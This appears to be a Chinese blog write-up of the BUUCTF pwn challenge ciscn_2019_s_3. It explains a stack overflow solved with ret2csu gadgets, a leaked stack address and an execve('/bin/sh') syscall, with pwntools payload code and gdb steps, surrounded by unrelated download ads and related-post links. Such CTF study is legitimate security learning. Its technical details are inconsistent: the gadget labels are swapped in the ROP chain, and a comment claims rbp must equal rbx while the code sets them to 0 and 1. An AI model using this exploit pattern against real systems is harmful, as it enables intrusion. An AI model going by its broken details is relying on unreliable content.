BUUCTF ciscn_2019_s_3:利用ret2csu与系统调用绕过NX防护

YOLO26算法车道线检测+训练好的模型+360张数据集+pyqt可视化界面.zip 附训练好的 YOLO 权重与 PyQt 可视化检测界面,页面底部含可视化效果预览,毕设/课设开箱即用。 【数据集概况】 · 检测类别(中文):[未获取()] 【训练曲线与评估图】 【模型训练配置】 参数 | 值 模型 | yolo26n 训练轮数 | 100 epochs 输入尺寸 | 640x640 批次大小 | 24 优化器 | auto 初始学习率 | 0.01 训练设备 【关键指标汇总】 训练了 55 个 epoch,最终轮指标: 指标 | 数值 mAP50 | **0.9512** mAP50-95 | 0.6746 Precision | 0.8796 Recall | 0.8825 train/box_loss | 0.8608 train/cls_loss | 0.7232 val/box_loss | 0.9955 val/cls_loss | 0.5511 【训练过程分析】 这轮训练我经历了从初始到稳定的曲折过程。前 20 个epoch,loss 曲线呈现了陡峭的下降趋势,mAP50 指标从 0.8 开始逐步攀升,仿佛在寻找一个合适的平衡点。然而,从第 21 个epoch 开始,mAP50 的提升速率显著放缓,整体曲线显得有些曲折,有时甚至停滞不前,让我一度以为训练出现了问题。直到第 35 个epoch,loss 开始逐渐趋于平稳,这标志着模型已经找到了一个较好的收敛区间。到了最后的 20 个 epoch,尽管 mAP50 依旧在稳步上升,但提升幅度已经不大,这意味着模型已经接近其性能天花板。 在这个过程中,我重点关注了 box_loss 和 cls_loss 的变化。初期阶段,box_loss 快速下降,从 0.9 逐渐降至 0.86,而 cls_loss 则从 0.75 逐步下降至... 使用场景:毕业设计、课程设计、深度学习入门、工业场景落地验证。 立即下载

1. 理解题目背景与保护机制

BUUCTF的ciscn_2019_s_3是一道经典的64位栈溢出题目,考察的是在NX保护开启的情况下如何通过ROP技术实现漏洞利用。NX(No-Execute)是一种内存保护机制,它阻止了在栈上执行代码的能力,这使得传统的shellcode注入方式失效。不过聪明的安全研究人员早就找到了绕过方法,其中ret2csu结合系统调用就是一种非常优雅的解决方案。

这道题的特殊之处在于程序没有提供常见的输出函数(如puts或write)来泄露地址信息,这就排除了使用ret2libc的可能性。同时程序中使用了系统调用(syscall)来实现read和write功能,这为我们提供了另一种思路——直接通过系统调用来执行execve('/bin/sh')。

我第一次遇到这种题目时也觉得挺棘手的,毕竟没有了熟悉的libc函数,一切都要从头开始构建。但实际分析下来发现,这种纯系统调用的方式反而更加直接,只要掌握了64位系统调用的传参规则和ret2csu技术,就能很好地解决问题。

2. 程序分析与漏洞定位

拿到题目后,我习惯先用checksec检查一下保护机制:

checksec ./ciscn_2019_s_3

结果显示这是一个64位程序,只开启了NX保护。这意味着我们不能直接在栈上执行代码,但可以通过ROP来组合现有的代码片段。

用IDA反编译后,我发现vuln函数是关键所在。这个函数的汇编代码有几个值得注意的特点:

vuln:
    push   rbp
    mov    rbp, rsp
    xor    rax, rax        ; rax清零
    mov    edx, 0x400      ; 读取长度
    mov    rsi, rbp        ; 缓冲区地址
    mov    edi, eax        ; fd=0(stdin)
    syscall                ; 调用read
    mov    edx, 0x30       ; 写入长度
    mov    rsi, rbp        ; 缓冲区地址
    mov    edi, 0x1        ; fd=1(stdout)
    syscall                ; 调用write
    pop    rbp
    ret

这里有几个关键点:首先,read可以读取0x400字节的数据,但缓冲区只有0x10字节,存在明显的栈溢出漏洞。其次,函数最后没有leave指令,直接ret返回,这意味着返回地址的覆盖偏移量是0x10字节。

更重要的是,程序中使用了系统调用:read的系统调用号是0(通过xor rax, rax设置),write的系统调用号是1。这提示我们可以考虑直接使用系统调用来实现功能,而不依赖于libc。

3. ret2csu技术原理详解

ret2csu是我认为64位ROP中最精妙的技术之一。它利用了libc_csu_init函数中的通用gadget,这个函数几乎存在于所有使用libc的程序中。在64位系统中,函数参数主要通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),而ret2csu正好提供了控制这些寄存器的能力。

在IDA中查看__libc_csu_init函数,可以看到两段非常有用的代码:

; 第一段gadget (ret2)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

; 第二段gadget (ret1)  
mov rdx, r15
mov rsi, r14
mov edi, r13d
call qword ptr [r12 + rbx*8]

通过组合使用这两段gadget,我们几乎可以控制所有重要的参数寄存器。具体思路是:先用第一段gadget设置各个寄存器的值,然后返回到第二段gadget,通过mov指令将值赋给rdx、rsi和edi(rdi的低32位),最后通过call指令跳转到指定地址。

在这道题中,我们需要调用execve系统调用,它需要三个参数:rdi指向"/bin/sh"字符串地址,rsi和rdx设为0(表示无参数和无环境变量)。通过ret2csu,我们可以完美地设置这些寄存器。

4. 寻找关键gadget与系统调用

构建ROP链之前,需要先收集所有必要的gadget。使用ROPgadget工具可以方便地查找:

ROPgadget --binary ./ciscn_2019_s_3

除了csu中的gadget外,还需要寻找一些特殊的指令。幸运的是,在程序的gadgets函数中,我发现了这样一条关键指令:

mov rax, 0x3b
ret

0x3b正好是execve的系统调用号!这意味着我们不需要通过其他复杂的方式来设置rax寄存器了。这条指令的存在大大简化了我们的利用过程。

另外,还需要一个单独的pop rdi gadget来设置第一个参数:

pop rdi
ret

这个gadget在程序中也能找到,地址是0x4005a3。有了这些gadget,我们的ROP链就有了基础构建模块。

5. 栈布局设计与地址泄露

这是整个利用过程中最 tricky 的部分。由于没有输出函数来泄露libc地址,我们需要利用程序自身的write系统调用来泄露栈地址。

首先发送一个简单的payload来触发第一次溢出:

payload1 = b'A'*16 + p64(vuln_addr)
io.send(payload1)

这样程序会再次执行vuln函数,我们可以通过write的输出获取栈地址。关键是要找到哪个位置的栈地址包含了有用的信息:

io.recv(0x20)  # 接收前0x20字节的垃圾数据
stack_addr = u64(io.recv(8))  # 接收栈地址
binsh_addr = stack_addr - 0x148  # 计算偏移得到/bin/sh地址

这里的0x148偏移量需要通过调试确定。我使用gdb的telescope命令来查看栈布局:

gdb ./ciscn_2019_s_3
b *vuln+xx  # 在合适位置下断点
run
telescope $rsp 0x30  # 查看栈内容

通过多次调试,我发现距离输入缓冲区起始位置0x148处有一个指向栈的指针。这个地址减去偏移量就是我们的输入缓冲区地址,也就是后面放置"/bin/sh"字符串的位置。

6. 完整ROP链构建

有了地址信息后,就可以构建最终的ROP链了。整个利用过程分为三个阶段:

首先部署字符串和必要地址:

payload2 = b'/bin/sh\x00'  # 字符串本身
payload2 += p64(rax_59_addr)  # mov rax, 0x3b指令地址

然后布置ret2csu需要的参数:

payload2 += p64(ret2_addr)  # 第二段csu gadget
payload2 += p64(0)  # rbx
payload2 += p64(1)  # rbp (必须与rbx相等)
payload2 += p64(binsh_addr + 8)  # r12 (指向mov rax, 0x3b)
payload2 += p64(0)*3  # r13, r14, r15

最后设置参数并触发系统调用:

payload2 += p64(ret1_addr)  # 第一段csu gadget
payload2 += b'A'*56  # 填充字节
payload2 += p64(pop_rdi_addr)  # 设置rdi
payload2 += p64(binsh_addr)  # rdi指向/bin/sh
payload2 += p64(syscall_addr)  # 执行系统调用

这样设计的巧妙之处在于:ret2csu不仅设置了rsi和rdx为0,还通过call指令执行了mov rax, 0x3b,设置了系统调用号。最后通过pop rdi设置第一个参数,直接执行syscall。

7. 调试技巧与常见问题

在实际利用过程中,有几个容易踩坑的地方值得注意:

首先是偏移量的计算。本地环境和远程环境的栈布局可能不同,需要调整偏移量。我建议先在本地调试确定偏移量,然后根据远程情况适当调整。

其次是gadget地址的准确性。一定要确保所有gadget地址都是正确的,最好通过多种方式交叉验证。我习惯同时使用ROPgadget和objdump来确认地址。

还有一个常见问题是对齐问题。64位系统对栈对齐有一定要求,有时候需要添加一些额外的ret指令来调整对齐。如果发现利用失败但逻辑正确,可以尝试在ROP链开头添加一个ret指令。

调试时可以使用gdb的attach功能:

from pwn import *
context.log_level = 'debug'
# gdb.attach(io)  # 需要时取消注释

这样可以在发送payload前附加调试器,方便查看内存状态和寄存器值。

8. 替代方案与扩展思路

除了ret2csu之外,这道题还可以使用SROP(Sigreturn Oriented Programming)来解决。SROP是另一种强大的ROP技术,它通过伪造signal frame来实现寄存器的全面控制。

不过SROP需要更大的栈空间和更复杂的布局,而且需要知道/bin/sh字符串的准确地址。对于这道题来说,ret2csu是更加直接和稳定的解决方案。

在实际的漏洞利用中,经常需要根据具体情况选择合适的技术。有时候甚至需要组合多种技术才能成功利用。这道题很好地展示了如何根据程序特性选择最合适的利用技术。

我认为学习Pwn最重要的不是记住各种利用技巧,而是培养分析问题和解决问题的能力。每道题目都有其独特之处,需要耐心分析程序逻辑,寻找可利用的点,然后选择合适的技术方案。

通过这道题的学习,我深刻体会到64位ROP利用的精妙之处。ret2csu技术虽然复杂,但一旦掌握,就能解决很多看似困难的问题。希望我的分享能帮助你更好地理解这个技术,在之后的Pwn学习中有所收获。

关于AI开发方法论-以文档为索引的高质量协作开发:让一次现象描述精准命中几个代码块 对AI的编码规范进行约束 立即下载

相关推荐

syslog_test.py

syslog_test.py

我又pwn了 ——刷题篇 ciscn_s_3

ret2csu&SROP

m0_64195960的博客 862

Simulink “双碳”背景下汽车减少碳排放建模与仿真

内容概要:本文围绕“双碳”战略背景,系统阐述了基于Simulink的汽车碳排放建模与仿真技术,重点引入模糊PID控制优化动力系统性能,以实现节能减排目标。文档整合了多个Matlab/Simulink科研仿真案例,涵盖无刷直流电机(BLDC)控制、三相PWM整流器、电池管理系统、路径规划、信号处理、智能优化算法及图像处理等领域,全面展示Matlab在智能控制与绿色能源系统中的应用价值。同时强调科研应兼具严谨逻辑、创新思维与工具赋能,并提供完整的仿真资源链接与学习路径支持实践落地。; 适合人群:具备Matlab/Simulink基础,从事自动化、电气工程、车辆工程、控制科学、电力电子及智能制造等相关领域的科研人员或高年级本科生、研究生;适用于开展节能减排、新能源系统优化、智能控制算法研究等课题的研究者。; 使用场景及目标:①学习在Simulink中构建汽车能耗与排放仿真模型并应用模糊PID进行动态优化;②掌握BLDC、PWM整流器等关键部件的建模与控制策略设计;③借鉴丰富案例提升科研效率,拓展在智能控制、路径规划、信号处理等方向的应用能力;④通过提供的网盘资源获取完整代码与资料,支撑论文写作与项目开发。; 阅读建议:建议按照资源目录顺序系统学习,结合百度网盘提供的Matlab/Simulink代码动手实践,重点关注控制策略的设计、仿真结果的分析与优化过程,同时注重培养科研思维与工程实际问题的结合能力。

buuctf-ciscn_2019_s_3(ret2csu)

为了直接利用到0x40058d的call [r12+rbx*8],所以把rbx置为0,[r12]会是我们要call调用的地方,也就是r12寄存器保存的地址指向的位置。(但是真的好晕好绕,本来搜着想看看别人的用这种做的简单方法,结果没有搜到有用这种做的,就分享一下。call执行之后,可以发现原本的下一步被压入栈中,需要把它pop掉才能正常执行我们想要的操作,这也是这里写入pop_rdi的原因。发现打csu的没有直接去利用call[r12+rbx*8],都是通过更改判定,二次执行后半段,再ret到需要的地址。

fuiifiuiii的博客 494

西部牛仔_1794033330851.apk

西部牛仔_1794033330851.apk

allegro 约束管理Constraint Manager(一)

介绍Cadence allegro 约束管理器CM的使用方法。

weixin_38975819的博客 8711

BUUCTF Ret2Csu ciscn_s_3

经过几个月的假期都忘完了,趁着最近有点时间复健一下,顺便弄明白了不少以前还不会的东西。

红叶的博客 744

公文派2025:免费社区版重大安装更新!

距离上一次更新已经过去了将近一年的时间,今天我们带来了全新的免费2025社区版,该版本也是目前最新的版本,无需授权即可使用所有的功能。

似最初 1959

[PWN] ciscn_2019_s_3 ret2csu SROP

[PWN] ret2csu SROP

LDX的博客 288

手把手教你用AD9834 DDS模块DIY一个可调信号源(附AD原理图/PCB/程序)

本文详细介绍了如何使用AD9834 DDS模块DIY一个高精度可调信号源,涵盖硬件搭建、原理图解读、PCB优化和程序烧录等关键步骤。通过STM32控制实现0-10MHz频率范围输出,特别适合电子设计与射频实验,提供完整的AD原理图、PCB设计和程序代码参考。

weixin_31854867的博客 406

lidar点云比赛-Southlidar软件使用入门

lidar点云比赛-Southlidar软件使用入门 广西高校重点实验室培训基地 系统控制与信息处理重点实验室 本篇博客来自河池学院: 智控无人机小组 写作时间:2020.09.29 一、软件资源及安装 1.下载地址: https://pan.baidu.com/s/1jN1pynmAZOqj5mMx774pVg 提取码:gkvv (资源来自南方测绘) 2.安装 进入链接,找到软件文件夹, 内含文件即为安装包 3.下载成功后按提示安装即可 4.安装成功后桌面自动创建一个快捷方式 二、界面布

qq_49621416的博客 4891

Ret2csu level5 & ciscn_2019_s_3

本题难点:对栈的理解需要稍微更深入一点。

红叶的博客 700

RK3566添加ffpeg【Buildroot系统】

有很多人都发现了RK3566系列的芯片是不可以直接使用ffmpeg官网源码的!会报错: Not a video capture device. /dev/video0: No such device 接下来我们就来解决这个问题!!

honmy18的博客 4068

ciscn_2019_s_3

pwn题目主要是为了获得flag文件 一般使用 syscall(exec) 获得shell 或者使用open + read 获得文件内容 syscall(rax= 0x3B, rdi = '/bin/sh', rsi = 0x0, rdx = 0x0) //execve 函数调用syscall system函数调用execve函数 因为封装过,调用参数有所变化,保护机制也有所区别 该题能栈溢出,但是不知道栈地址 发现正常输出(输入小于0x10的数据时),会讲rsi地...

m0_48127441的博客 369

FANUC机器人_KAREL编程入门学习(1)

FANUC机器人_KAREL编程入门学习(1)

Robot_PLC_HMI_Automation 6416

YOLOv8性能提升:基于SPD-Conv的高效空间深度转换卷积技术解析【YOLOv8】

SPD-Conv是一种结合了空间和深度信息的卷积技术。与传统卷积不同,SPD-Conv通过在卷积过程中动态调整空间维度和深度维度之间的关系,使得模型能够在较少的参数下捕捉到更多的空间细节。这种方法尤其适用于检测小目标和复杂场景中的细微特征。SPD-Conv的核心思想是通过引入一个空间深度转换矩阵,将输入特征图的空间信息有效地映射到更高维度的深度信息中。这种转换不仅可以保留输入图像的空间细节,还可以在卷积操作中增强特征的表达能力。空间深度转换:通过一个线性变换矩阵,将输入特征图的空间信息转换为深度信息。

博客 1806

ciscn_2019_s_3(execve&&sigreturn)

本题是一个系统调用,存在栈溢出,要点有以下几点,以下为第一种解法,构造execve(’/bin/sh’,0,0) 1.题目中,并未出现sub esp得字眼,所以本题中ebp一直与esp重合,即最后ret得时候,pop的其实是rbp处的地址,所以本题返回点并不在ret处,而在rbp处。 2.本题没有‘/bin/sh’,所以只能自己输入到栈上,这时就需要泄漏栈的地址,在使用gdb调试后,可以看到在ret地址后面有存储一个栈地址(即可以泄漏),再在调用syswrite时,可以看到buf的地址,经过计算后,得出偏移

qq_33590156的博客 354

2026保姆级:1小时搞定C# OPC UA客户端开发——PLC与上位机全量数据交互零基础教程

本文介绍了使用C#开发OPC UA客户端的核心流程和关键代码实现。文章首先指出工业上位机开发中OPC UA的重要性,并针对新手常见问题提出了1小时掌握核心功能的解决方案。重点内容包括:选择官方.NET Standard库的优势、5分钟搭建开发环境的步骤、OPC UA客户端架构与通信流程的图解说明,以及完整的客户端基础类代码实现,涵盖了连接管理、证书配置、安全认证等关键功能。通过本文提供的代码模板,开发者可快速实现与PLC等工业设备的稳定数据交互。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 793

CTF buuoj pwn-----第12题: ciscn_2019_s_3

函数分析 编写exp from pwn import * sh = remote('node4.buuoj.cn', 27939) context(arch='amd64',os='linux', log_level='debug') main_addr= 0x4004ED # 这里其实是vuln的地址, main地址会错:timeout: the monitored command dumped core payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p.

bing_Max的博客 1834

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【GYCTF2020】borrowstack------<栈迁移原理、ret2csu万能gadget、one-gadget工具>

【GYCTF2020】borrowstack知识点关键字样本知识点详解0x1 ret2csu原理0x2 栈迁移原理0x3 one-gadget 工具样本分析0x1 静态分析0x2 payload 构造0x3 动态调试0x4 exp参考文献 知识点关键字 栈迁移、ROP、csu万能gadget、one-gadget 样本 样本来自于GYTF2020_borrowstack,BUUCTF上有练习环境 知识点详解 0x1 ret2csu原理 动机: 在 64 位程序中,函数的前 6 个参数是通过寄存器传递

qq_21746331的博客 2137

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

buuctf:ciscn_s_3题解

title: 系统调用的学习 date: 2021-05-25 22:00:00 tags: binary security study report syscall comments: true categories: ctf pwn today新的知识又增长了,发现了getshell的另一种方式:syscall和srop。故事还要源于…(此处省略万字输出) (note:本作者这次有点懒,没有写AT&T汇编,而是一律用了intel汇编,请悉知) 可能是之前汇编基础不太好吧,竟没有发现sy.

xia0ji233 924

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

好好说话之ret2csu

一、x64寄存器 在64位程序中,函数的前6各参数是通过寄存器传递的,可以看到rdi作为第一个参数,rsi作为第二个参数,rdx作为第三个参数,rcx作为第四个参数,r8作为第五个参数,r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找,如果参数多余6个,那么就需要在栈中寻找。 63 31 ...

hollk’s blog 6811

PWN-PRACTICE-BUUCTF-7

PWN-PRACTICE-BUUCTF-7jarvisoj_fmciscn_2019_s_3bjdctf_2020_babystack2[HarekazeCTF2019]baby_rop2 jarvisoj_fm ciscn_2019_s_3 bjdctf_2020_babystack2 [HarekazeCTF2019]baby_rop2

P1umH0的博客 290
上一篇: 构建蜂鸟E203 QSPI FLASH仿真平台,实践Hello World例程调试
下一篇: 【嵌入式开发】STM32电机闭环控制实战:PID算法与PWM调优详解
水果削皮艺术家
博客等级 码龄3年 47粉丝 1437原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值